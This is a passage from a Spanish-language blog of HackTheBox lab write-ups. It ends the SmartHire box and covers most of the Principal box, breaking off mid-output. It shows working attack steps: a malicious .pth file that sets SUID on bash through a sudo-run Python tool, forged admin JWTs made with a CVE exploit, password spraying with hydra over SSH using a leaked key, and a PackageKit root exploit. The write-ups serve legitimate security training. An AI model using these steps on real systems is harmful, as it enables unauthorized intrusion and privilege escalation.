ellos:\nlocalhost:8000: Es la página web del dominio inicial (SmartHIRE), también hosteada en local localhost:5000: Es la página de MLflow. Exactamente la misma que la del subdominio. localhost:41463: Sirve HTTP, pero devuelve 404 Not Found. De momento vamos a por lo siguiente.\nSudo, Archivo .py # El archivo que podemos ejecutar como root es /opt/tools/mlflow_ctl/mlflowctl.py:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; MLFLOW-CTL: Operational interface for managing the MLflow service. Supports a pluggable extension model for environment-specific logic. For changes or plugin requests, please contact the Platform Team. \u0026#34;\u0026#34;\u0026#34; from pathlib import Path import sys import site BASE_DIR = Path(__file__).resolve().parent PLUGINS_DIR = BASE_DIR / \u0026#34;plugins\u0026#34; # make plugins importable for path in PLUGINS_DIR.iterdir(): if path.is_dir(): site.addsitedir(str(path)) def print_usage(): print(\u0026#34;Usage: mlflowctl.py [status|backup-models|restart]\u0026#34;) sys.exit(1) def main(): import mlflow_actions, backup_models if len(sys.argv) \u0026lt; 2: print_usage() action = sys.argv[1] if action == \u0026#34;status\u0026#34;: mlflow_actions.check_status() elif action == \u0026#34;backup-models\u0026#34;: print(\u0026#34;[*] Running backup via backup_models plugin...\u0026#34;) backup_models.run() elif action == \u0026#34;restart\u0026#34;: mlflow_actions.restart() else: print(f\u0026#34;[!] Unknown action: {action}\u0026#34;) print_usage() if __name__ == \u0026#34;__main__\u0026#34;: main() El programa toma los argumentos que se le pasan y los interpreta como la acción a realizar:\n1 mlflowctl.py \u0026lt;acción\u0026gt; Esa acción puede ser:\nstatus: Depende de la librería mlflow_actions backup-models: Depende de la librería backup_models restart: Depende de la librería mlflow_actions Estas librerías están el directorio plugins/core, para el que no tenemos permiso de escritura, como archivos .py, pero el programa también acepta el directorio plugins/dev como válido al importar los plugins, y ahí el grupo devs sí tiene permiso de escritura.\nSi miramos nuestros grupos:\n1 2 $ id uid=1000(svcweb) gid=1000(svcweb) groups=1000(svcweb),1001(mlflowweb),1002(devs) Library Hijacking # Efectivamente podemos escribir en devs. Podemos crear un backup_models.py o mlflow_actions.py malicioso y si el programa lo carga antes que el bueno al iniciar, podremos ejecutar lo que queramos.\nCreamos dos librerías falsas que hacen lo mismo:\n1 2 3 4 5 6 7 8 9 10 11 12 svcweb@smarthire:/opt/tools/mlflow_ctl/plugins/dev$ ls backup_models.py mlflow_actions.py svcweb@smarthire:/opt/tools/mlflow_ctl/plugins/dev$ cat backup_models.py #!/usr/bin/env python3 import os status = os.system(\u0026#39;chmod +s /bin/bash\u0026#39;) if (status == 0): print(\u0026#34;Pwned!\u0026#34;) else: print(\u0026#34;Ha ocurrido un error.\u0026#34;) Pero si probamos a ejecutarlo:\n1 2 3 4 5 6 7 8 9 svcweb@smarthire:/opt/tools/mlflow_ctl/plugins/dev$ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py backup-models [*] Running backup via backup_models plugin... Backup successful: /var/backups/mlflow-backup/mlruns_backup_20260528185104.tar.gz svcweb@smarthire:/opt/tools/mlflow_ctl/plugins/dev$ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status [*] Checking MLflow service status... [+] MLflow service status: active [+] MLflow container status: \u0026#39;Up 3 hours\u0026#39; Ni siquiera se llega a nuestro código, se importan antes los otros, así que hay que buscar una alternativa.\nPython Startup Hooks: .pth # Tras buscar un rato y mirar qué hacían las librerías importadas, encuentro lo siguiente acerca de site.addsitedir():\nsite.addsitedir(sitedir) es una función del módulo integrado site de Python que añade un directorio a sys.path (la ruta de búsqueda de módulos) y, además, procesa todos los archivos .pth encontrados en ese directorio.\nDichos archivos .pth son archivos de texto usados para inicializar el sys.path de Python (el segundo sitio en el que busca librerías cuando usas import \u0026lt;lib\u0026gt;)\nNormalmente, un .pth puede tener la siguiente estructura:\n1 2 3 /usr/mi-proyecto/lib import mi_lib_custom /home/user/package_lib Esto añadiría /usr/mi-proyecto/lib al sys.path, luego ejecutaría import mi_lib_custom, y finalmente añadiría también /home/user/package_lib .\nLa cosa es que también es posible hacer esto:\n1 2 3 /usr/mi-proyecto/lib import mi_lib_custom; print(\u0026#34;Hello\u0026#34;) /home/user/package_lib Y se mostrará \u0026ldquo;Hello\u0026rdquo; en pantalla, podemos ejecutar cualquier comando.\nSi creamos un archivo pwn.pth en plugins/dev, cuando site.addsitedir() entre en ese directorio para ver qué librerías hay o si hay algo para añadir, verá el .pth y lo ejecutará.\nAsí que creamos el archivo.\n1 2 svcweb@smarthire:/opt/tools/mlflow_ctl$ cat plugins/dev/pwn.pth import os; os.system(\u0026#34;chmod +s /bin/bash\u0026#34;) Lo ejecutamos.\n1 2 3 4 5 svcweb@smarthire:/opt/tools/mlflow_ctl$ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status [*] Checking MLflow service status... [+] MLflow service status: active [+] MLflow container status: \u0026#39;Up 4 hours\u0026#39; Miramos si ha tenido efecto.\n1 2 3 4 5 svcweb@smarthire:/opt/tools/mlflow_ctl$ ls -l /bin/bash -rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash svcweb@smarthire:/opt/tools/mlflow_ctl$ /bin/bash -p bash-5.1# whoami root Y tenemos root.\n","date":"28 de mayo de 2026","externalUrl":null,"permalink":"/writeups/smarthire/","section":"Writeups","summary":"OS: Linux | Dificultad: Medium | Conceptos: Subdominio, Machine Learning, Python Privesc, .pth","title":"HackTheBox - SmartHire","type":"writeups"},{"content":"","date":"28 de mayo de 2026","externalUrl":null,"permalink":"/tags/ml/","section":"Tags","summary":"","title":"ML","type":"tags"},{"content":"","date":"28 de mayo de 2026","externalUrl":null,"permalink":"/tags/pth/","section":"Tags","summary":"","title":"PtH","type":"tags"},{"content":"","date":"28 de mayo de 2026","externalUrl":null,"permalink":"/tags/python/","section":"Tags","summary":"","title":"Python","type":"tags"},{"content":" Dificultad: medium Tiempo aprox. 3h Datos Iniciales: 10.129.244.220 Enumeración inicial # Primero añadimos (por si acaso) principal.htb a /etc/hosts.\nEscaneo de puertos # Tras realizar un escaneo de puertos completo, se encuentran los siguientes abiertos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 $ sudo nmap -sT -Pn -p- principal.htb # Encuentra 22,8080 $ sudo nmap -sT -Pn -p22,8080 -sVC principal.htb PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA) |_ 256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519) 8080/tcp open http-proxy Jetty |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: Jetty | http-title: Principal Internal Platform - Login |_Requested resource was /login | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 404 Not Found | Date: Wed, 20 May 2026 17:59:58 GMT | Server: Jetty | X-Powered-By: pac4j-jwt/6.0.3 | Cache-Control: must-revalidate,no-cache,no-store | Content-Type: application/json | {\u0026#34;timestamp\u0026#34;:\u0026#34;2026-05-20T17:59:58.138+00:00\u0026#34;,\u0026#34;status\u0026#34;:404,\u0026#34;error\u0026#34;:\u0026#34;Not Found\u0026#34;,\u0026#34;path\u0026#34;:\u0026#34;/nice%20ports%2C/Tri%6Eity.txt%2ebak\u0026#34;} | GetRequest: | HTTP/1.1 302 Found | Date: Wed, 20 May 2026 17:59:57 GMT | Server: Jetty | X-Powered-By: pac4j-jwt/6.0.3 | Content-Language: en | Location: /login | Content-Length: 0 | HTTPOptions: | HTTP/1.1 200 OK | Date: Wed, 20 May 2026 17:59:57 GMT | Server: Jetty | X-Powered-By: pac4j-jwt/6.0.3 | Allow: GET,HEAD,OPTIONS | Accept-Patch: | Content-Length: 0 | RTSPRequest: | HTTP/1.1 505 HTTP Version Not Supported | Date: Wed, 20 May 2026 17:59:58 GMT | Cache-Control: must-revalidate,no-cache,no-store | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 349 | \u0026lt;html\u0026gt; | \u0026lt;head\u0026gt; | \u0026lt;meta http-equiv=\u0026#34;Content-Type\u0026#34; content=\u0026#34;text/html;charset=ISO-8859-1\u0026#34;/\u0026gt; | \u0026lt;title\u0026gt;Error 505 Unknown Version\u0026lt;/title\u0026gt; | \u0026lt;/head\u0026gt; | \u0026lt;body\u0026gt; | \u0026lt;h2\u0026gt;HTTP ERROR 505 Unknown Version\u0026lt;/h2\u0026gt; | \u0026lt;table\u0026gt; | \u0026lt;tr\u0026gt;\u0026lt;th\u0026gt;URI:\u0026lt;/th\u0026gt;\u0026lt;td\u0026gt;/badMessage\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt; | \u0026lt;tr\u0026gt;\u0026lt;th\u0026gt;STATUS:\u0026lt;/th\u0026gt;\u0026lt;td\u0026gt;505\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt; | \u0026lt;tr\u0026gt;\u0026lt;th\u0026gt;MESSAGE:\u0026lt;/th\u0026gt;\u0026lt;td\u0026gt;Unknown Version\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt; | \u0026lt;/table\u0026gt; | \u0026lt;/body\u0026gt; | \u0026lt;/html\u0026gt; | Socks5: | HTTP/1.1 400 Bad Request | Date: Wed, 20 May 2026 17:59:58 GMT | Cache-Control: must-revalidate,no-cache,no-store | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 382 | \u0026lt;html\u0026gt; | \u0026lt;head\u0026gt; | \u0026lt;meta http-equiv=\u0026#34;Content-Type\u0026#34; content=\u0026#34;text/html;charset=ISO-8859-1\u0026#34;/\u0026gt; | \u0026lt;title\u0026gt;Error 400 Illegal character CNTL=0x5\u0026lt;/title\u0026gt; | \u0026lt;/head\u0026gt; | \u0026lt;body\u0026gt; | \u0026lt;h2\u0026gt;HTTP ERROR 400 Illegal character CNTL=0x5\u0026lt;/h2\u0026gt; | \u0026lt;table\u0026gt; | \u0026lt;tr\u0026gt;\u0026lt;th\u0026gt;URI:\u0026lt;/th\u0026gt;\u0026lt;td\u0026gt;/badMessage\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt; | \u0026lt;tr\u0026gt;\u0026lt;th\u0026gt;STATUS:\u0026lt;/th\u0026gt;\u0026lt;td\u0026gt;400\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt; | \u0026lt;tr\u0026gt;\u0026lt;th\u0026gt;MESSAGE:\u0026lt;/th\u0026gt;\u0026lt;td\u0026gt;Illegal character CNTL=0x5\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt; | \u0026lt;/table\u0026gt; | \u0026lt;/body\u0026gt; |_ \u0026lt;/html\u0026gt; 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8080-TCP:V=7.99%I=7%D=5/20%Time=6A0DF69F%P=x86_64-pc-linux-gnu%r(Ge ... [SNIP] ... SF:CNTL=0x5\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt;\\n\u0026lt;/table\u0026gt;\\n\\n\u0026lt;/body\u0026gt;\\n\u0026lt;/html\u0026gt;\\n\u0026#34;); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel # Nada en UDP (Solo DHCP) Vemos dos servicios:\n22/tcp (OpenSSH 9.6p1 Ubuntu): SSH, versión vulnerable a RegreSSHion y algunas otras cosas, no relevante para este caso. 8080/tcp (http-proxy Jetty): Al parecer, un servidor web Jetty (Java). Según nmap: Responde a HTTP OPTIONS correctamente, por lo que entiende HTTP. Al solicitar la página mediante GET redirige a /login El título de la página es Principal Internal Platform. El header X-Powered-By indica que se usa pac4j-jwt/6.0.3 Puerto 8080 - Jetty # Al entrar a la página, encontramos un panel de login hacia lo que parece ser un panel de control. Se indica que se está usando la versión v1.2.0 y pac4j.\nLa versión de la plataforma parece irrelevante porque no es un servicio estándar y posiblemente sea uno custom para la máquina. Pero si buscamos más acerca de pac4j-jwt/6.0.3:\npac4j-jwt/6.0.3 es vulnerable a CVE-2026-29000. Se trata de una vulnerabilidad que permite hacer un bypass de autenticación, con CVSS 9.3 CRITICAL (Github): pac4j-jwt versions prior to 4.5.9, 5.7.9, and 6.3.3 contain an authentication bypass vulnerability in JwtAuthenticator when processing encrypted JWTs that allows remote attackers to forge authentication tokens. Attackers who possess the server\u0026rsquo;s RSA public key can create a JWE-wrapped PlainJWT with arbitrary subject and role claims, bypassing signature verification to authenticate as any user including administrators.\nCVE-2026-29000 # Encontramos un PoC público disponible, pero para usarlo necesitamos conocer el endpoint jwks. Podemos probar el que se usa normalmente, /api/auth/jwks, y vemos que es el correcto.\n1 2 $ curl http://principal.htb:8080/api/auth/jwks {\u0026#34;keys\u0026#34;:[{\u0026#34;kty\u0026#34;:\u0026#34;RSA\u0026#34;,\u0026#34;e\u0026#34;:\u0026#34;AQAB\u0026#34;,\u0026#34;kid\u0026#34;:\u0026#34;enc-key-1\u0026#34;,\u0026#34;n\u0026#34;:\u0026#34;lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw\u0026#34;}]} Ahora que conocemos el endpoint, podemos usar el exploit.\nEl exploit nos permite obtener un token de autenticación como cualquier usuario y con cualquier rol, aunque el problema que tenemos ahora es que no conocemos el usuario como el que queremos autenticarnos, ni un rol válido.\nBuscando usuarios # Podemos probar con los más comunes a fuerza bruta, hasta que funcione uno. Los que usa el exploit por defecto son User admin y Role ROLE_ADMIN.\nPara probar a mandar el token, tenemos que encontrar cómo se manda al servidor o dónde espera recibirlo. Si miramos en BurpSuite, vemos que cuando intentamos iniciar sesión, de primeras no se manda nada con Authorization: Bearer ..., ni tampoco se manda ninguna cookie.\nSi miramos el código javascript de la página en static/js/app.js, veremos cómo espera recibir la página el token y bastante más información:\n1 2 3 4 5 6 7 8 // static/js/app.js //... // Token management class TokenManager { static getToken() { return sessionStorage.getItem(\u0026#39;auth_token\u0026#39;); } // ... Podemos encontrar todos los datos de funcionamiento de la página.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 /** * Principal Internal Platform - Client Application * Version: 1.2.0 * * Authentication flow: * 1. User submits credentials to /api/auth/login * 2. Server returns encrypted JWT (JWE) token * 3. Token is stored and sent as Bearer token for subsequent requests * * Token handling: * - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM * - Public key available at /api/auth/jwks for token verification * - Inner JWT is signed with RS256 * * JWT claims schema: * sub - username * role - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER * iss - \u0026#34;principal-platform\u0026#34; * iat - issued at (epoch) * exp - expiration (epoch) */ const API_BASE = \u0026#39;\u0026#39;; const JWKS_ENDPOINT = \u0026#39;/api/auth/jwks\u0026#39;; const AUTH_ENDPOINT = \u0026#39;/api/auth/login\u0026#39;; const DASHBOARD_ENDPOINT = \u0026#39;/api/dashboard\u0026#39;; const USERS_ENDPOINT = \u0026#39;/api/users\u0026#39;; const SETTINGS_ENDPOINT = \u0026#39;/api/settings\u0026#39;; El JWT debe tener un nombre de usuario válido, un rol (para nuestro caso, ROLE_ADMIN), un issuer (principal-platform), y tiempo de emisión y expiración.\nAsí que generamos un JWT con el exploit que contenga todo lo necesario (lo que no se indica explícitamente lo pone de forma automática el exploit):\n1 2 3 4 5 6 $ python3 CVE-2026-29000.py --issuer principal-platform --url http://principal.htb:8080 --jwks /api/auth/jwks --role ROLE_ADMIN --user admin [+] Forged JWE token: eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmM... [SNIP]... Ahora lo añadimos al navegador Y recargamos la página, pero no parece funcionar.\nDe todas formas, es posible que la página principal no requiera el token y simplemente nos pida iniciar sesión con las credenciales, puede ser que el token sirva para otro servicio.\nConsiguiendo información # Dado que el token no funcionaba en la página principal, vamos a algunos de los endpoints API, p.ej, /api/settings. Si solicitamos la página, vemos que efectivamente pide un token:\n1 2 $ curl http://principal.htb:8080/api/settings {\u0026#34;error\u0026#34;:\u0026#34;Unauthorized\u0026#34;,\u0026#34;message\u0026#34;:\u0026#34;Bearer token required\u0026#34;} Así que aquí es donde lo necesitamos. Creamos un token y lo mandamos junto con la solicitud.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 $ curl http://principal.htb:8080/api/settings -H \u0026#39;Authorization: Bearer eyJhbGciOi...[SNIP]...3LlMEGQ\u0026#39; { \u0026#34;security\u0026#34;: { \u0026#34;authFramework\u0026#34;: \u0026#34;pac4j-jwt\u0026#34;, \u0026#34;authFrameworkVersion\u0026#34;: \u0026#34;6.0.3\u0026#34;, \u0026#34;jwtAlgorithm\u0026#34;: \u0026#34;RS256\u0026#34;, \u0026#34;jweAlgorithm\u0026#34;: \u0026#34;RSA-OAEP-256\u0026#34;, \u0026#34;jweEncryption\u0026#34;: \u0026#34;A128GCM\u0026#34;, \u0026#34;encryptionKey\u0026#34;: \u0026#34;D3pl0y_$$H_Now42!\u0026#34;, \u0026#34;tokenExpiry\u0026#34;: \u0026#34;3600s\u0026#34;, \u0026#34;sessionManagement\u0026#34;: \u0026#34;stateless\u0026#34; }, \u0026#34;system\u0026#34;: { \u0026#34;serverType\u0026#34;: \u0026#34;Jetty 12.x (Embedded)\u0026#34;, \u0026#34;javaVersion\u0026#34;: \u0026#34;21.0.10\u0026#34;, \u0026#34;applicationName\u0026#34;: \u0026#34;Principal Internal Platform\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;1.2.0\u0026#34;, \u0026#34;environment\u0026#34;: \u0026#34;production\u0026#34; }, \u0026#34;infrastructure\u0026#34;: { \u0026#34;sshCaPath\u0026#34;: \u0026#34;/opt/principal/ssh/\u0026#34;, \u0026#34;sshCertAuth\u0026#34;: \u0026#34;enabled\u0026#34;, \u0026#34;database\u0026#34;: \u0026#34;H2 (embedded)\u0026#34;, \u0026#34;notes\u0026#34;: \u0026#34;SSH certificate auth configured for automation - see /opt/principal/ssh/ for CA config.\u0026#34; }, \u0026#34;integrations\u0026#34;: [ { \u0026#34;status\u0026#34;: \u0026#34;connected\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;GitLab CI/CD\u0026#34;, \u0026#34;lastSync\u0026#34;: \u0026#34;2025-12-28T12:00:00Z\u0026#34; }, { \u0026#34;status\u0026#34;: \u0026#34;connected\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Vault\u0026#34;, \u0026#34;lastSync\u0026#34;: \u0026#34;2025-12-28T14:00:00Z\u0026#34; }, { \u0026#34;status\u0026#34;: \u0026#34;connected\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Prometheus\u0026#34;, \u0026#34;lastSync\u0026#34;: \u0026#34;2025-12-28T14:30:00Z\u0026#34; } ] } Y vemos que, con el usuario admin, efectivamente ha funcionado. Ya tenemos la forma de conseguir tokens válidos, y también hemos conseguido la clave de cifrado de los tokens (D3pl0y_$$H_Now42!).\nAprovechando la situación, podemos hacer una solicitud al endpoint /api/users para enumerar algunos usuarios.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 { \u0026#34;total\u0026#34;: 8, \u0026#34;users\u0026#34;: [ { \u0026#34;active\u0026#34;: true, \u0026#34;role\u0026#34;: \u0026#34;ROLE_ADMIN\u0026#34;, \u0026#34;note\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;s.chen@principal-corp.local\u0026#34;, \u0026#34;displayName\u0026#34;: \u0026#34;Sarah Chen\u0026#34;, \u0026#34;department\u0026#34;: \u0026#34;IT Security\u0026#34;, \u0026#34;id\u0026#34;: 1, \u0026#34;lastLogin\u0026#34;: \u0026#34;2025-12-28T09:15:00Z\u0026#34; }, { \u0026#34;active\u0026#34;: true, \u0026#34;role\u0026#34;: \u0026#34;deployer\u0026#34;, \u0026#34;note\u0026#34;: \u0026#34;Service account for automated deployments via SSH certificate auth.\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;svc-deploy\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;svc-deploy@principal-corp.local\u0026#34;, \u0026#34;displayName\u0026#34;: \u0026#34;Deploy Service\u0026#34;, \u0026#34;department\u0026#34;: \u0026#34;DevOps\u0026#34;, \u0026#34;id\u0026#34;: 2, \u0026#34;lastLogin\u0026#34;: \u0026#34;2025-12-28T14:32:00Z\u0026#34; }, { \u0026#34;active\u0026#34;: true, \u0026#34;role\u0026#34;: \u0026#34;ROLE_USER\u0026#34;, \u0026#34;note\u0026#34;: \u0026#34;Team lead - backend services\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;jthompson\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;j.thompson@principal-corp.local\u0026#34;, \u0026#34;displayName\u0026#34;: \u0026#34;James Thompson\u0026#34;, \u0026#34;department\u0026#34;: \u0026#34;Engineering\u0026#34;, \u0026#34;id\u0026#34;: 3, \u0026#34;lastLogin\u0026#34;: \u0026#34;2025-12-27T16:45:00Z\u0026#34; }, { \u0026#34;active\u0026#34;: true, \u0026#34;role\u0026#34;: \u0026#34;ROLE_USER\u0026#34;, \u0026#34;note\u0026#34;: \u0026#34;Frontend developer\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;amorales\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;a.morales@principal-corp.local\u0026#34;, \u0026#34;displayName\u0026#34;: \u0026#34;Ana Morales\u0026#34;, \u0026#34;department\u0026#34;: \u0026#34;Engineering\u0026#34;, \u0026#34;id\u0026#34;: 4, \u0026#34;lastLogin\u0026#34;: \u0026#34;2025-12-28T08:20:00Z\u0026#34; }, { \u0026#34;active\u0026#34;: true, \u0026#34;role\u0026#34;: \u0026#34;ROLE_MANAGER\u0026#34;, \u0026#34;note\u0026#34;: \u0026#34;Operations manager\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;bwright\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;b.wright@principal-corp.local\u0026#34;, \u0026#34;displayName\u0026#34;: \u0026#34;Benjamin Wright\u0026#34;, \u0026#34;department\u0026#34;: \u0026#34;Operations\u0026#34;, \u0026#34;id\u0026#34;: 5, \u0026#34;lastLogin\u0026#34;: \u0026#34;2025-12-26T11:30:00Z\u0026#34; }, { \u0026#34;active\u0026#34;: false, \u0026#34;role\u0026#34;: \u0026#34;ROLE_ADMIN\u0026#34;, \u0026#34;note\u0026#34;: \u0026#34;Security analyst - on leave until Jan 6\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;kkumar\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;k.kumar@principal-corp.local\u0026#34;, \u0026#34;displayName\u0026#34;: \u0026#34;Kavitha Kumar\u0026#34;, \u0026#34;department\u0026#34;: \u0026#34;IT Security\u0026#34;, \u0026#34;id\u0026#34;: 6, \u0026#34;lastLogin\u0026#34;: \u0026#34;2025-12-20T10:00:00Z\u0026#34; }, { \u0026#34;active\u0026#34;: true, \u0026#34;role\u0026#34;: \u0026#34;ROLE_USER\u0026#34;, \u0026#34;note\u0026#34;: \u0026#34;QA engineer\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;mwilson\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;m.wilson@principal-corp.local\u0026#34;, \u0026#34;displayName\u0026#34;: \u0026#34;Marcus Wilson\u0026#34;, \u0026#34;department\u0026#34;: \u0026#34;QA\u0026#34;, \u0026#34;id\u0026#34;: 7, \u0026#34;lastLogin\u0026#34;: \u0026#34;2025-12-28T13:10:00Z\u0026#34; }, { \u0026#34;active\u0026#34;: true, \u0026#34;role\u0026#34;: \u0026#34;ROLE_MANAGER\u0026#34;, \u0026#34;note\u0026#34;: \u0026#34;Engineering director\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;lzhang\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;l.zhang@principal-corp.local\u0026#34;, \u0026#34;displayName\u0026#34;: \u0026#34;Lisa Zhang\u0026#34;, \u0026#34;department\u0026#34;: \u0026#34;Engineering\u0026#34;, \u0026#34;id\u0026#34;: 8, \u0026#34;lastLogin\u0026#34;: \u0026#34;2025-12-28T07:55:00Z\u0026#34; } ] } Ahora que ya hemos recolectado ciertos datos, podríamos probar a meter todos los usuarios en una lista, y, si con suerte se han reutilizado credenciales, quizás alguno de ellos use D3pl0y_$$H_Now42! como contraseña en SSH.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ cat users admin svc-deploy jthompson amorales bwright kkumar mwilson lzhang $ hydra -L users -p \u0026#39;D3pl0y_$$H_Now42!\u0026#39; ssh://principal.htb Hydra v9.6 (c) 2023 by van Hauser/THC \u0026amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). [DATA] attacking ssh://principal.htb:22/ [22][ssh] host: principal.htb login: svc-deploy password: D3pl0y_$$H_Now42! Y, en efecto, tenemos unas credenciales, svc-deploy:D3pl0y_$$H_Now42!.\nProbamos las credenciales y\u0026hellip;\n1 2 3 4 5 6 7 8 9 10 11 12 $ ssh svc-deploy@principal.htb svc-deploy@principal.htb\u0026#39;s password: Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. svc-deploy@principal:~$ Ya tenemos un shell.\nPrivesc por SHH # Contando con que la máquina tiene dos meses, es muy probable que con CopyFail o DirtyFrag podamos llegar a root en un par de pasos, pero por respeto a (prácticamente todas) las máquinas de HTB de Linux que serán vulnerables, vamos a buscar una alternativa.\nEnumeración inicial # Probamos a ver si podemos ejecutar sudo, pero nada.\n1 2 3 svc-deploy@principal:~$ sudo -l [sudo] password for svc-deploy: Sorry, user svc-deploy may not run sudo on principal. Miramos puertos en escucha, pero tampoco parece haber nada interesante. Buscamos archivos con bit SUID, pero no hay nada fuera de lo común. Miramos cronjobs, pero no hay nada. Ejecutamos LinPEAS, pero no reconozco nada que llame la atención. Análisis con Trivy # Como seguimos sin tener nada, subo trivy al servidor junto con su base de datos.\n1 2 3 4 5 $ scp db.tar.gz svc-deploy@principal.htb:/tmp/trivyd/trivydb.tar.gz svc-deploy@principal.htb\u0026#39;s password: $ scp ./trivy svc-deploy@principal.htb:/tmp/trivyd/trivy svc-deploy@principal.htb\u0026#39;s password: Ahora lo ejecutamos en la máquina.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # Comprobamos que está todo svc-deploy@principal:/tmp/trivyd$ ls trivy trivydb.tar.gz # Descomprimimos la base de datos svc-deploy@principal:/tmp/trivyd$ tar -xf trivydb.tar.gz # Creamos directorio db, trivy lo necesita para encontrar la base de datos. svc-deploy@principal:/tmp/trivyd$ mkdir db svc-deploy@principal:/tmp/trivyd$ mv metadata.json trivy.db db # Lo ejecutamos y guardamos en un archivo el resultado. ./trivy rootfs --offline-scan --skip-db-update --cache-dir /tmp/trivyd --scanners vuln --severity CRITICAL,HIGH --format json --pkg-types os / 2\u0026gt;/dev/null \u0026gt; resultados # Miramos el resultado grep \u0026#39;privilege esc\u0026#39; resultados | sort -u Al abrir el análisis, encontramos lo siguiente:\nCVE-2026-41651: TOCTOU race in PackageKit\u0026rsquo;s transaction handler. Any local unprivileged user can install arbitrary packages as root with no authentication. Pack2TheRoot # Encontramos un PoC público que aprovecha esta vulnerabilidad.\nLo descargamos y lo subimos a la máquina, luego lo ejecutamos.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 svc-deploy@principal:/tmp$ ./cve-2026-41651 ═══════════════════════════════════════════════════ CVE-2026-41651 — PackageKit TOCTOU LPE ═══════════════════════════════════════════════════ [*] Building packages (pure C)... [+] dummy : /tmp/.pk-dummy-38470.deb [+] payload : /tmp/.pk-payload-38470.deb [*] Transaction : /2_ebeacecb [*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async] [*] Step 2 : InstallFiles(NONE=0x0, payload) [async] [*] Waiting for dispatch (30 s max)... [!] PK error 48: Failed to obtain authentication. [*] Finished (exit=2, 0 ms) [*] Loop ran for 37 ms [*] Polling for 